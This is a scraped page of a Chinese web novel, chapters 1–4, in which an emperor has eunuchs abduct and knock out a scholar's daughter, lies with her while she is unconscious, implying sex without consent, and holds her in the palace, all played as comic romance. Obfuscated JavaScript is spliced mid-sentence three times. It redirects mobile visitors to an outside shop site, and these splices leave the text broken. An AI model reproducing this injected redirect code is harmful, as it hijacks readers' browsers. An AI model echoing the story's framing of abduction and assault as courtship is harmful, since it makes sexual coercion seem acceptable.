《岳父他嫌弃朕》 1. 第 1 章 石家庄离京二十里,庄外官道上天一黑就来了一群面生的后生,驾着马车停在路边鬼鬼祟祟的不知道干什么。 庄上的庄稼户只看见穿蓝罩甲的小子几次三番跑过庄来探路,然后再扯着大嗓子往回跑嚷嚷着,“爷……爷,奴婢看见马车朝这边来了!” 马车里的公子生气的伸出胳膊来,狠狠往他脑袋赏了几记酸梨,“说了别嚷嚷,别嚷嚷!你小子怎么就记不住,要嚷嚷的全天下都知道是不是!” “可这事早晚全天下不都得知道不是?” “你还敢顶嘴!去让他们在路中间套好麻绳,马车要往左边庄稼地里倒,别把人给朕……咳……给爷摔坏了!” “是是,小的马上去!” 车帘里面的人紧张得噗嗤噗嗤喘大气,像头老水牛一样。 蓝色罩甲小子揣着袖子灰溜溜的招呼人取绳,在官道从路中间套了两道麻绳。 四个同他一样打扮的小子各蹲在两侧拉紧,把绳子拉的紧绷绷的,大象过来都得栽两个跟头。 他们刚把绳子拉好,马车就过庄来了,急冲冲的赶进城去,马都跑出残影了。下一刻就连马带车一起摔进庄稼地里了,好半响后车上的老车夫才倒吸冷气呲着牙爬起来,回头望马车里关心道: “娘子怎么样了,可是摔伤了没有?” 只见庄稼地里突然蹿出几个黑影,扛着马车里的人就往跑了。 “嘿,你们这群贼人,快放下我家娘子!你们可知这是苏大学士的女儿,杀千刀的站住!你们给老子站住!” 老车夫瘸着腿追,道上有马车接应,黑影把肩上的人塞进去驾车就跑了。 老车夫的声音越落越远,驾车的几个蓝色罩甲小子大松了一口气,为首的喜滋滋的掀开马车帘,喊道: “爷,那老头....” “你们个杀千刀,朕说了下手要轻,要轻,你们怎么把人打成这样!她是姑娘破相了怎么办法,万一打傻了怎么办!” 明媚的笑瞬间凝在蓝色罩甲小子圆脸上,“爷,小的们也不想动手。奈何苏娘子她没摔晕过去就只好补了一棍,不然怎么办?她一嚷嚷保准苏家的人一会儿就追上来了,再说了您这营生也太难做了,二两银子前您就让小的们给您绑架苏大学士的女儿。这可是杀头的买卖,早知道您摸出宫来是干这等偷鸡摸狗的事,打死我我也不来!” 皇帝:“四福你还敢顶嘴!拿人钱财与人消灾,你怎么那么多废话!现在不过是二两银子,他日朕做了实权皇帝,自有你们跟朕吃香喝辣的,我夫妻二人自也会感谢你们!” 叫四福的小太监嘟囔道:“万岁爷,小的们自不敢顶嘴。就是您……您这事干的,您想娶苏娘子啊?” 他望车里瞟昏迷的小娘子,几个跟班小子也好奇的跟着瞟。三四双眼睛起齐刷刷,目光炯炯有神。 皇帝不语,只是低头用袖子一味给苏家娘子脸上擦灰。 四福不明白,“万岁爷,您想娶苏娘子,您派礼部的人去苏家提亲多好。您是当今皇上,同皇室联姻,苏娘子就皇后,皇亲国戚呐!多给长脸的事,谁家祖坟烟冒青也赶不上这等好事,满朝文武不都削尖了脑袋想当国丈爷,您怎么还让我们给您绑架苏家娘子?” 他觉得自己脑袋都要想破了也想不明白,皇帝叹了口气,“唉,苏师父他嫌弃朕,不想把女儿嫁给朕。” 四福还是不明白,“是苏大学士棒打鸳鸳了,爷您才出此下策的?可是小的们这些年也没听说您什么时候认识苏娘子了,她不是好几年前就送到四川老家去了吗?她一直没在京,您一直住在紫禁城里,您什么时候喜欢她的?” 皇帝手一顿被问毛了,“你……你什么时候话那么多了,闭嘴,不许多问!这件事朕现在不干也干了,朕是主谋,你们都是从犯!咱们都是一条船上的蚂蚱,谁也不许跑!” 挨了一顿呲,四福和几个小太监赶紧撤出脑袋,在外面凑在一起小声嘀咕。 “可真是稀奇事,咱们哥儿几个还能同万岁爷做一条贼船。” “可不是,苏老先生是个火柿子,这把咱们万岁爷能硬气几分。” 嘀咕的一会儿功夫就到城门了,四福又掀帘子,钻进脑袋问: “爷进城了,咱们去哪儿,回宫吗?” 不知道是车里闷热还是紧张的,皇帝出了一身汗,汗水浸透衣衫贴着胸膛,印出两块宽厚的胸肌。听见四福的话,捏了捏拳头,似下了好大的决心。 “去太庙,得让祖宗们先见见她。” “啊……”四福哀怨道:“爷,太庙这会儿都落锁了。” 皇帝不管,往身上一摸,扔过来几块碎银子,“银子朕花了,你去给朕想办法。” 四福接到银子,喜滋滋道:“得嘞,爷咱们这就去太庙。” 于是马车回宫前又去太庙了,折腾了一个多时辰。回来的时候一群人都累了,就没有刚才那么多话了。马车静静的压过石砖,吱呀吱呀的滚到坤宁宫前。 皇帝抱着苏家娘子跳下车,直径进了寝殿。四福踮脚探头看,胳膊肘拐了拐身边的小太监。 “万岁爷好像要把生米煮成熟饭,三福这可是敬事房的活,快!” 小太监三福有些不敢,“小的没伺候后皇上,这头遭啊。” “怕什么,你师父怎么教你的就怎么做。万岁爷性子软,又不会吃了你!弄混和皇家子嗣,这才是掉脑袋的大事!” “可是……” “别可是,快去!” 架不住四福的催促,三福只好硬着头皮跟进坤宁宫里。 皇帝站在龙榻前去,颔首沉思,看样子在想很重要很重要的事。三福不敢打扰,默默的站在他身后。 过一会儿,皇帝突然回头,镇定中带着慌乱,“三福,朕想……想……” 他似有些难为情,大袖袍被抓得像是咸菜干一样。三福非常敏锐的察觉到了,“万岁爷想把生米煮成熟饭?” 寝殿内迎来一阵漫长的沉默。 “……但这件事她若是醒来的话,也许会办不成……”皇帝道。 “万岁爷,这件事也不全是要醒着才能做。”三福附到皇帝耳边,“……万岁爷这是奴婢敬事房的师父教的,奴婢先伺候好苏娘子,万岁爷再来,这也是宫里的规矩。” 皇帝:“要怎么做?” 三福踮脚在他耳边神神秘秘嘀咕,没一会儿皇帝耳根子就涨了血色,脱口道:“不行,你是男人!” “万岁爷,奴婢早就不是男人了!内务府的掌事年年都要给小太监刷茬,去的可干净了。” “那....那也不行!” “那您想怎么办,您是个雏又不会。” “你.....你教朕。” 皇帝脸上都快淌血了,三福捂嘴想笑但不敢,嘀嘀咕咕说了一大堆, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562825|186970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不知道皇帝听没听懂就被赶出去了。 三福灰溜溜的滚出寝殿,先去看了看宫里的水漏,然后踹了个册子进来蹲在殿门外。夜深人静的时候,芝麻声音的动静都会显得特别大,在殿外竖起耳朵就可以听见殿内衣衫落地的摩擦声。 三福撑起下巴想,万岁爷完事后是要留还是不留。 没一会儿里面传来了说话声,“三福,你出去待一会儿。走远点,半个时辰后回来。” 三福下意识觉得这不合规矩,皇帝宠幸妃嫔一定要有敬事房记录的,不然跑出来满宫的孩子算谁的。而且祖宗成法节制□□,妃子侍寝不能过时辰的! 可是……今天的事已经很违背祖宗了! 三福暗暗的琢磨一番,应了声,“是,万岁爷。” 殿内殿外一下安静了,只剩下滴漏让人困乏的水声。 龙榻前皇帝脱光了衣服,殿内落着昏黄的灯火,健硕挺拔的身体犹如披着薄纱和月光一样,硬朗而温腻。 站了片刻之后,他钻进了被子里,光溜溜的肩头和另一个光溜溜的肩头挨着。一个肌肤炽热如火,一个温柔细腻,像窗柩缓缓流进来的月光,将滚热的血都慰凉了。 皇帝被窝下的手不自觉抓住了身侧的微握成拳的手,紧张的心情让身子变得异常的敏感。他抓住了苏娘子的手腕,用指腹清楚的摸到她的脉搏,平缓而有力。 那张熟睡的还染着几分熟悉的稚气,皇帝遥远而模糊的记忆开始逐渐苏醒。 苏萤尘,南书房,扑蝶篓子,风筝,梳成男孩子模样的小姑娘……盛夏的记忆,炽热艳丽而聒噪。 记忆里那个鲜活的小姑娘变成了大姑娘,被他抢进了宫里。 在锦被之下,他们坦诚相对。 “念念,我是岳凌,你别怕。” 苏娘子像是听到了皇帝的话一样,手动了动,指尖轻扣了一下他的掌心。 痒意从掌心如同触电般击中心脏,皇帝的呼吸忽然窒住了。转头看着那张脸,抻长了脖子想去亲她。只是太紧张了,折腾半响冒了一额头的热汗也没挨到。 皇帝只好放弃躺平,望着帐顶喘大气。头脑有些发昏,迷迷糊糊的想起来他们一起在南书房读书的短暂日子。 开始几乎天天都能看见苏家那老头牵着她来那书房,后来她就不怎么来了,再后来再也没出现在他面前。 ------------ “万岁爷,万岁爷,该起了。” 快要四更天了,外面三福溜达回来,脸贴在门上压低嗓子喊了一声。推开门缝,只能看见纱帐后隆起的被子和满地乱扔的衣服。里面人没动静,静悄悄的。 “万岁爷,祖宗有规矩,此事不能贪,来日方长。” 他又喊了一声,皇帝长吁了一口气。慌乱和紧张退去后,深邃的眸子里压着看不轻的思绪,起身前低头重重的在圆润的肩头上落下了一吻。随后三福进殿来了,身后跟着伺候的宫女、太监,像是小鱼一样在殿内散开。 “万岁爷,留吗?” “留。” “是,万岁爷。” 皇帝走了,三福去给伺候的宫女太监训话,小小神气的模样有点管事太监的范了。 “管好自己的嘴巴,什么不该看的,不该说的,自己掂量掂量!” “是,公公。” 小宫女太监服服帖帖的,随后又悠悠的鱼贯而去。 2. 第 2 章 次日文渊阁大学士、工部尚书衔苏萤尘的掌上千金叫人绑架就传开了,京城一下炸了锅。 苏老先生六十岁了,桃李满天下,大半个朝堂甚至连皇帝都他的门生。出了此等事,有的是人想要排队给苏家申冤做主。 一早六扇门的人就来了,没多久北镇抚司的人也来了。刑部、大理寺的人来来往往,苏家小小的门庭跟早市一样热闹。 这时候大内还一片风平浪静,洒扫的太监穿梭在宫道殿檐下。坤宁宫外,皇帝没走。三福同他做一条板凳上聊闲话,两人身上披着薄凉的晨雾。 “爷,您昨晚睡了吗?” 三福先问,皇帝神色怔忡,没说话,摸着腰间的玉坠子。 三福打量了周围一眼,洒扫的太监宫女都离的远远的。他压低了声音,贴到皇帝身边又问: “爷,您昨夜有什么感觉?” 皇帝动了动凝结着愁绪的剑眉,这话应该问的男人和女人做那种事的感觉,他心里琢磨这个该怎么编。 “嗯……很累……腿软,紧张起来脑子里一片空白……” “还有呢?” “……没有了,就是感觉的特点累,起身时还有些虚软。” 三福听的脸色变得越发严肃,担忧的关心皇帝,“万岁爷,您这不会是……” “是什么,你怎么这副脸色?”皇帝嫌弃的看着他一副见鬼了的嘴脸。 “爷,这事男人不能觉得累和腿软。”三福神秘兮兮的又贴近来,隔皇帝的耳边低声道:“爷,您不会是肾虚……萎了吧?您要真的有这毛病,可的抓紧召太医来看看,这可关系这皇家子嗣的大事!” 皇帝脸色刷的一热,“朕.....朕才没有!三福你别....别胡说,朕就是第一次有点紧张!你再胡说,朕就摘了你的脑袋!” 三福不但没被皇帝吓唬住,还贼兮兮的偷笑,捅了捅他的胳膊肘,“万岁爷,奴婢知道您厉害,不过和女人做那事到底什么感觉?有没有飘飘欲仙的感觉,您给奴婢说说。” 皇帝脑子乱哄哄的,俊脸浮上一阵又一阵热气,“你.....你是个太监,打听这事做什么!” 三福一听这话就不乐意了,愤愤的顶嘴,“爷,您这会儿说奴婢是个太监了,昨夜您不还说我是个男人吗?是男人都好奇这事,再说了奴婢这事上这辈子是没指望了,眼下不过是过过嘴瘾而已。” 皇帝又窘又急,涨红了脸,抬起胳膊很不客气往他脑袋招呼,“这是朕和皇后床第的事,什么时候轮到你瞎打听了!不许问,不许问,闭嘴!!” 三福一点都不怕他,边抱着脑袋惨兮兮的躲,还咧嘴偷笑。 “万岁爷不是奴婢瞎打听,这事照祖宗规矩,敬事房本就要记档的,而且还应当有宫女太监守夜。奴婢见您第一次脸皮子薄才走开了,可万不能有下一次了。而且奴婢问就是想您这次觉得不好,奴婢下次再给您琢磨别的样式。奴婢可真是好心当成驴肝肺了,好赖都落埋怨。” “你…..”皇帝没招了,只好涨着脸捡了胡话乱说,“就是…..是爽,朕觉得现在这样就挺好,不用琢磨别的花样了!” 三福还是不死心,看着他发窘如坐针毡的样子发笑,“万岁爷,您昨夜用的哪个样式了?” 皇帝顿时感觉全身血液都沸腾起来,一股脑涌上天灵盖了,烧得他全身发热,后背汗涔涔的。 “就.....就是朕....朕在上面,苏娘子在......” 皇帝话还没说话,背后突然袭来一阵阴风,凉飕飕的。回头一道豆青色的裙摆迎头劈过来,皇帝俊脸狠狠挨了一脚,翻下板凳,跟个冬瓜一样骨碌碌滚下台阶。 板凳另一头不受力朝天翘起来,三福也摔了四仰八叉,狼狈滚到地下。 洒扫的太监宫女听见动静,吓得纷纷回头。有人还打翻了水盆,铜盆乒乒乓乓的在地下打转。一时间坤宁宫外乱哄哄,人仰马翻。 “下贱!” 来人怒不可遏的咒骂,提起绣花鞋追到院子里,往皇帝身上揣。皇帝一阵头晕眼花,从龙袍里拱出来。迎头又狠狠挨上两脚,疼的直冒冷汗。 坤宁宫里闹嚷嚷的,场面一度混乱不堪。宫女太监看见,夹着尾巴躲远远的。没人上前来,三福甚至看清楚了来人,小跑着去把宫门关上了。 皇帝自己趁乱抱住踩下来的脚,惊慌的大喊大叫,“苏....苏娘子,息怒息怒。是朕.....你不记得朕了,小时候我们见过的!” 苏娘子狠狠的往皇帝怀里踹,“你......流氓,土匪!放开我,我要杀了你!” 她是从小跟着苏大学士在河堤上长大的,有的是力气,几脚过去皇帝抱着她的手劲松了。她猛的踹过去,一脚了踩空扑到大理石板上。 皇帝看见忙着青着脸,伸胳膊接住她,两人在一片混乱中滚到一起,三福连忙让周遭小太监宫女转身闭眼。 “苏....苏娘子,你轻点。朕要疼死了......啊…..” 皇帝挨了一顿踹又被压,浑身刺痛,骨头都要撒架了。躺在地上哀嚎,脸色铁青,冒着冷汗,看着像是就要断气了。 苏娘子啐了一口,从他身上爬起来,揪住明黄的龙袍领咆哮,“混蛋,我怎么在这里,你到底对我做什么事了!” 皇帝大口倒吸着冷气,梗着脖子不要命道:“朕.....朕喜欢你,想娶你!朕把该做的事都做了,总之就是生米煮成熟饭了!你要打就打死朕吧,反正朕不后悔!” 三福听见这话,偷偷的回头看。 苏家娘子正骑在皇帝身上大打出手,后者脸色实在不好。他猜刚才苏娘子该是下死脚了,可能是踹到不该踹的地方了,不由的担心起来。 苏娘子:“你.....混蛋,你是皇帝,你怎么能够抢强民女!你放我回去,我要回家!” 小姑娘醒过来后,悬着的心终于死了。爬起身狠狠的搓脖子搓脸,像是碰到了什么肮脏的东西一样,哭着往坤宁宫外走。 三福屏着呼吸,见皇帝没发拦,默默的打开了门。 皇帝看着,静静的坐在地上,深邃的眸子沉的像黑夜一般。豆青色裙摆拂过宫门槛的瞬间,他突然喊道:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562826|186970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “念辞,朕把该做的事都做了,就算你走出这道门,你也是我的女人。朕会封你做皇后,让你们苏家有享不尽的荣华富贵!” 苏娘子脚一顿,回过头来看了他一眼,脱掉身上的宫装狠狠的扔在地上,“我不稀罕!” 意料之中了,皇帝颓然的叹了一口气,像是被抽干了力气一样子。颓然地坐在地上,看着她穿着单薄的里衣越走越远。 这时三福悄悄摸了过来,跪下在袖子里竖了一个大拇指,“万岁爷,您这回终于硬气了,像个男人。” 皇帝不高兴的抬眼,“什么像,朕本来就是男人!” 三福:“奴婢的意思您终于硬气了,做男人就得又争又抢,才能抱得美人归。您以前就是性子太软了,宫里奴才太监欺负,朝廷堂上大臣对您大呼小叫,就连奴婢也敢和您坐一条板凳,岂不是还有蹬鼻子上脸的,爷,您可是皇帝呢。” 皇帝:“你知道朕是皇帝,还欺负朕。” 三福嘿嘿的笑,“奴才是觉得您特别亲善,才这样的。不过您就这样让苏娘子出宫去了?要不要奴婢去送送?” “送什么送,送回家了,你赔朕那么大一个皇后吗?” 皇帝爬起身,扯到胯疼得下意识想捂。意识到不雅,改作用手拍了拍龙袍上的灰,然后吸着冷气扔了一块玉佩到三福怀里。 “你去宣武门找六福,让他们把门看好了。除了掖门,其他地方由苏娘子走去。” 这日早朝,除了苏大学士的女儿遭遇绑架震惊朝野外,皇帝顶着一张鼻青脸肿的脸蛋来上朝也惊掉了一众阁臣的下巴。 下朝的路上,阁臣们三三两两的聚在一起边走边议论。到宫门下看见当值的太监,刑部侍郎终于想起来,目击庄稼户描述的嫌疑犯为何眼熟了。 当天宣武门下几个太监就被传唤到刑部大堂了,案子就跟纸一样捅就破了。 但叫人更犯难了,天子犯法与庶民同罪。那皇帝真的抢了别人的闺女,抓还是不抓?当天六部尚书,内阁大臣乌泱泱的齐聚到首辅府上议事,到亥时才出来。 大内,四福没多久也发现几个弟兄不见了,给三福传了话,三福溜到坤宁宫告诉皇帝。 “爷,奴婢给您干活绑架苏娘子的兄弟被刑部逮去了,他们本就残缺之人经不住拷问,咱们这事怕是要瞒不住了。” 皇帝躺着在贵妃椅上懒懒的打扇,盯着头顶的花灯,眼睛直勾勾的。 “知道了,他们查到朕的头上来也奈何不了朕。一会儿你想办法去刑部大牢打点打点,小五、小六、小七他们顶多在里面待几天就出来了。” 说完,皇帝偏过头来看三福,眸子就清澈了许多。 “苏娘子呢,在哪里,她怎么样?” 三福:“回爷的话,苏娘子这会儿在御花园里。今儿她胡乱在宫里走迷路了,都没摸到掖门去。只是哭的伤心,嗓子都哑了。您看要不要派人去接她回来,夜深了她穿的单薄,在外面瞎走会受凉的。” “不用.....”皇帝闭上眼,抬手缓缓的揉着太阳穴,“她想见朕了自会来。” 3. 第 3 章 暮春,时值多雨。三更,三福颠颠的跑进殿内喊: “爷,外面下雨了。要不要奴婢去帮您把苏娘子接回来,不然指定要挨浇了!姑娘家身子骨弱,可不能淋雨。” “她踹朕的时候身子骨可不弱,不必去接。” 殿内传来淡淡的声音,三福自讨没趣,撇撇嘴退了出去,蹲在殿外御阶上瞧灯发呆。 没一会儿雨势就大了,雨点落下来跟黄豆似的,水气泥腥扑面而来。 “万岁爷,雨下大了,您还不去接苏娘子吗?” 他又往殿里递话,皇帝没吱声,只好老实的呆着。 过了小半个时辰,雨势大的跟人拿盆往下泼似的。 三福估摸着苏娘子该是浇透了,又又斗胆跑进殿内,贴着殿门问: “爷,真的不去接苏娘子吗?宫里大,到处都是路,她指定是要走迷路了。这时节寒气还透骨,要是淋雨着凉了可怎么办?” 皇帝慵懒的睁开眼,目光清亮,看着他问道: “三福,你听说过狮子骢的典故吗?” 三福不明白,摇摇头,“爷,奴婢愚笨。” “唐代,武曌还是个宫女时,为太宗驯服烈马狮子骢。先用铁鞭抽,马不服气,再用铁锤敲它的头,再不服就用匕首割断它的喉咙。这样的法子对于苏娘子来说太残忍了,朕要攻她这里。” 皇帝从贵妃椅上翻起身,点了点自己心口,眸子里渗着一汪平静冰凉的秋水。 “三福,你把殿门打开。” “是,爷。” 雕花殿门敞开,冰冷的水气涌进殿内,吹得殿内的纱幔帷帐像乱蛇一样在殿内翻腾。 “三福,去把她接到这里来。” “得嘞,爷,奴婢这就去。” 三福去值房里拿把油伞,撒腿噔噔的跑开,去了不到半个时辰就把迷路的苏娘子接回来了。 殿门大敞开着的,皇帝就坐在正中央等。看见他们回来的身影,起身相迎,不出意外的结结实实挨了苏娘子一巴掌。 三福听那巴掌声顿时就明白了,苏娘子身子骨真不弱,一巴掌下去殿内跟放了个炮仗似的,可是响亮。 他一下不知是该关心皇帝的脸疼不疼,还是担心苏娘子闪了手。 殿内气氛不对,他赶紧趁关门的空档溜出了出去。隔绝雨声,嘈杂的大殿就安静了。三福好奇扒门口偷窥,听见苏娘子发颤的怒吼声音。 “放我出宫,你把我弄进来到底想干什么!我爹爹教了你那么多年,你把书都读到狗肚子里去了是不是?强抢民女,□□妇女,你……禽兽不如!混蛋,下贱!” 皇帝很平静,平静到她说的这些事都不是自己干的一样。手指指着殿外,淡淡道: “出宫的路就在那里,朕没有拦你。朕那么对你只不过是朕喜欢你而已,朕贵为天子,富有四海,相貌堂堂潘安不及。朕哪点赶不上你那个没名没才的小秀才了,若不是苏师父急着把你许出去。朕才不会出此下策,朕也是被你们逼的。” 他还有些怨气,探了探口风,苏家人就迫不及待要把女儿许配出去了。 前几年还挑花了眼,嫌这家公子学问不好,那家公子相貌平平。全四川的公子都让她挑了个遍,还挑到京师来了,这会子就赶着要议亲了。 皇帝上前一步,抬手抚上了苏娘子的脸。很烫,像是开水里滚出来的鸡蛋。 “朕喜欢你,你难道感覺不到嗎?” 苏娘子感受不到,逮着脸上的爪子就狠狠咬了一口,跟狼一样凶狠。 皇帝疼得吱哇乱叫的跳脚,“疼疼疼,苏娘子你松嘴……啊……朕的手!” 三福听见响动赶紧冲进殿来救驾,只见苏家娘子咬住了皇帝的爪子。撸起自己的袖子,献出白花花的胳膊递给苏娘子。 “苏娘子,您轻点!这是万岁爷,来,您咬奴婢,奴婢的肉软不硌牙!” 果然够义气!皇帝感恩的看了他一眼,表示赏银加倍! 苏娘子不稀的咬,踢了三福一脚,松口放开皇帝的手掌,糊了满嘴的血。 “你胡说!你根本不喜欢我,你怎么会喜欢我!” 她才不信皇帝的话,小时候不过在南书房相处了些日,随后她就回四川老家了。整整八年,素未谋面,他怎么会喜欢她! 三福神色一愣,觉得苏娘子的话不对。皇帝敢冒天下之不大讳抢人,至皇帝的脸面和尊严于不顾,还是挺男人。 皇帝肯定是喜欢她的,至于什么时候,指不定就是南书房那段日子。青梅竹马什么的,最容易有感情了。 但现下没功夫解释了,皇帝手掌鱼腹都快要被咬下块肉了,他赶紧掏出给皇帝用帕子捂住手掌。 “万岁爷,怎么样,疼不疼?您细皮嫩肉的,可怎么经得起咬啊。” 苏念辞看着他们主仆情深觉得可笑至极,抹了嘴角的血转身离去。湿漉漉的裙摆,在干净的地砖上拖出一条长长的水痕,像尾刚上岸的美人鱼。 皇帝的脸色悲戚,喊住她,声音几度哽咽,“苏念辞,朕真的喜欢你,真的喜欢你!你不信,可以剖开朕的心看看!” 苏念辞觉得这话假的刺耳,走的脚步一刻也不停。 殿外雨小了,地砖积着雨水,宫灯落下星星点点温暖的烛火。 苏娘子却只觉得冷,身子透骨的冷。回家的路就在那里,可是她怎么找都找不到了。下台阶的时候,脚底踩空,扑通滚下御阶。 “苏娘子!!” 苏娘子在御阶下,摔得鼻青脸肿,皇帝去捡的时候,人已经磕破了头昏迷不醒了。 这……弄不好得出人命了!三福心脏砰砰的跳,发着抖探探鼻息才大松了一口气,“爷,人还活着!” “废话,还不赶紧的去请太医!” 皇帝踹了一脚,三福赶紧夹着尾巴跑开。等三福跑远了,他抱着苏娘子在地下雨中突然发笑。翘起的嘴角压都压不住,眸子像是雨夜那样黑那样冷。 “念辞,朕的心你还不知道吗?朕八岁时就喜欢你了,朕喜欢你的父亲,你的母亲,你的哥哥们,喜欢你的家。如果你不回四川,今日闹着要嫁给朕的就是你了。” 他也知道青梅竹马什么的,最容易有感情了。只不过他的感情藏得不好,太早被苏萤臣知道,早早的把女儿送回老家了。 太医院的晚上是个年轻的小太医值房,揉着惺忪的睡眼朦胧跟着三福跑到坤宁宫。 苏娘子脑袋没事,就是淋雨受凉高烧了。皇帝觉得不对,肯定是伤到脑袋了的,追在太医屁股后面不停的问: “太医,真的没事吗?她从大殿的几十级台阶滚下去,定是会磕到头,说不定里面还会有淤血,醒来会不会失忆?” 小太医在写退烧的方子,好奇的停下笔,“圣上希望苏娘子摔伤脑袋?” 皇帝脸色瞬间就不自在了,“朕……朕哪有,朕就是关心她罢!” 小太医摇了摇头,道:“圣上注意龙体,现下还不宜房事。” 他就是今早来给皇帝看伤的太医,李廷致。皇帝白日那伤伤势不重,但不注意弄不好会影响皇家子嗣,他觉得还是要注意注意的。 这半夜坤宁宫里又困得这么一个美人,得人仰马翻。李太医估摸着皇帝又胡来了,闻听这两日京城的风声,好心劝谏道: “圣上,微臣在民间常听得一句话,强扭的瓜不甜。京城苏家这两日到处找苏娘子,刑部约莫也查到了些端倪,微臣恳请圣上趁事情还没闹大之前把苏娘子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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四福喜滋滋的揣紧牌子,笑眯眯的应了个是,“万岁爷放心,奴婢保证给您打听的明明白白的。” 皇帝觉得这小鬼太滑溜了,又喊住他,“眼前朕兜里就这个几个钱了,你……你少吃点回扣,多给朕办点实心事,往后好处少不了你的。” 四福又折返回来,趴到御案上,贼头贼脑的凑到皇帝跟前。 “得嘞,爷,奴婢有分寸。不过您就没银子了?您贵为天子怎么穷的叮当响,朝廷那些重臣阁老可是在外面捞的盆满钵满,个个都肥得流油!” 皇帝惨兮兮的叹气,“朕能怎么办,朕没有后宫嫔妃开支,大内也没有殿宇修缮,没有开支哪来的进项。户部一年就给朕的内库拨三千两银子,朕都没看到影儿。好不容易攒点私房钱,全养活你们这帮小鬼了。” “爷,这叫有钱能使鬼推磨,奴婢们不白拿您的银子,这不事儿都给您办的妥妥的。不就事进项银子,您等着奴婢给您想辙。” 四福颠颠的领差事出去了,皇帝一个人在殿内闷闷不乐。 不一会儿,大福来了,兜着满身的汤药汁,哭丧着脸跑到皇帝跟前。 “万岁爷,苏娘子醒了,这会儿闹着不肯吃药,把殿里的人全打出来了。” “知道了,朕去看看,叫御膳房重新煎了药端来。” 皇帝起身,打起精神跑到坤宁宫。刚推开门,迎头就挨上一记茶盖碗,额头瞬间起来一个大包。 他一向知道苏娘子身子骨不弱,揍起人来真的下死手。 “大福,药给朕,所有人都退下去!” 皇帝头回说话这般硬气,抬头挺胸大步向床榻走去。大福搁下药碗赶紧跑,朝皇帝喊道:“万岁爷,您小心,苏娘子手里端着开水!” “啊!烫死朕了,你不早说,苏娘子你谋杀亲夫啊!” 大福话音还没落下,苏娘子就扔了茶碗过来。里面装着滚烫的茶水,溅在皇帝的脸上,烫得他呲牙咧嘴的乱叫。 “泼妇,还好朕躲的快……啊,烫死朕了!” 苏娘子嘶哑着声音,吼,“滚,混蛋你给我滚出去!我爹爹和哥哥不会放过你的!” 4. 第 4 章 不知道什么时候起,皇帝在苏娘子面前就赖皮惯了。越是骂他,越要他滚,他反倒是要死皮赖脸的赖上来。 苏娘子还没意识到,砸了皇帝几个靠枕,手边就没有趁手的东西可以扔来砸人了。只能瞪着凶恶的眼睛剜皇帝,好像这样就能把看死一样。 皇帝顶着半张通红的脸,一个一个捡起地上的枕头,拉好掉下地的锦被。挨着床边坐下,凑上脑袋去叫苏娘子看。 “朕这张脸天天就是给你那么泼,那么打的呐?你自己看看,朕这张脸这两天叫你打成什么样了,你是不是想把朕打毁容了,好回去找你打小秀才。” 昨夜挨巴掌的脸上,现下肿着。皇帝又生的白皙,俊脸跟白面团子一样,一边印着几根明晃晃的手指,一边浮着大片的红痕。 苏娘子瞪他,暗暗的磨牙。扑哧扑哧喷着热气,像只生气的炸毛猫。 “干什么?还生朕的气,以为这样就能把朕看死?还烧的那么厉害,连药也不肯吃。来朕亲自喂你,病好了才有力气给朕当皇后,乖。” 皇帝伸爪子探她的额头,被厌恶的一掌拍开,“混蛋,拿开你的脏手,别碰我!” “朕就要碰你,怎样?” 皇帝哼笑,反手抓住了她的手扣在掌心里,像是握着滚烫的山芋一样。他有些心疼了,脸上却还是那般混不吝,说话不着调,故意惹她生气。 “朕还要亲你呢,你现在这个样子,能奈我何。你不吃药,朕不勉强你。朕也很喜欢你这般孱弱的样子,弱柳扶风别有滋味。总比你好的时候跟个泼妇一样的打朕踹朕,你这样子朕一只手就能降服你。你不吃药,愿意这样做朕的禁脔也很好。” 皇帝故作深沉,抓着苏娘子的肩膀,噘嘴亲她的脸。 “混蛋,你要干什么!放开我,别碰我!” 苏娘子嫌恶的躲,身子虚弱的全身乏力,挣不开皇帝的桎梏。伸手一把扯住他的头发,扯得皇帝头皮发麻,“你再碰我一下试试!” “你…..啊…..疼死朕了,你哪学的,打架哪儿有扯头发的,快撒手…..啊疼。” “你松嘴,我就松手,不然我就把你的狗头扯下来!” “你松手,朕就松嘴!” 两个人顶着鼻子互相瞪眼,苏娘子废话不多,狠狠拽了好几把皇帝的头发。 皇帝性子也上来了,不退反进。挺身猛的靠近,高大身躯压上来噙住苏娘子的唇。 “朕不!” 苏娘子立刻张嘴咬他的唇,可惜被察觉。皇帝唇瓣一转游走,转开亲了亲她的脸颊、脖子,张开唇瓣狠狠含住了她的耳朵。 “唔…..混蛋,你干什么!” 苏娘子身子一下就酥了,微微发着抖,手指的力气似也被莫名抽走了。 “你说呢?朕再问你一遍听不听话,好不好好吃药?” “你休想,我不怕你!” 苏娘子用力扯皇帝的头发,几下束在头顶的玉冠就掉了。墨发散落下来,半掩住俊逸的脸上,如同乌云遮月。她正是好用力了,两只手一起抓胡乱扯。 皇帝疼得头皮发麻,嘴硬道:“好啊,朕就看你到底怕不怕。” 不过头皮而已,皮肉之痛罢! 他一下又含住苏娘子的耳朵,用舌头卷起圆润的耳珠□□。她用力扯他的头发,他就舔她的耳朵,吮吸小小的耳珠。 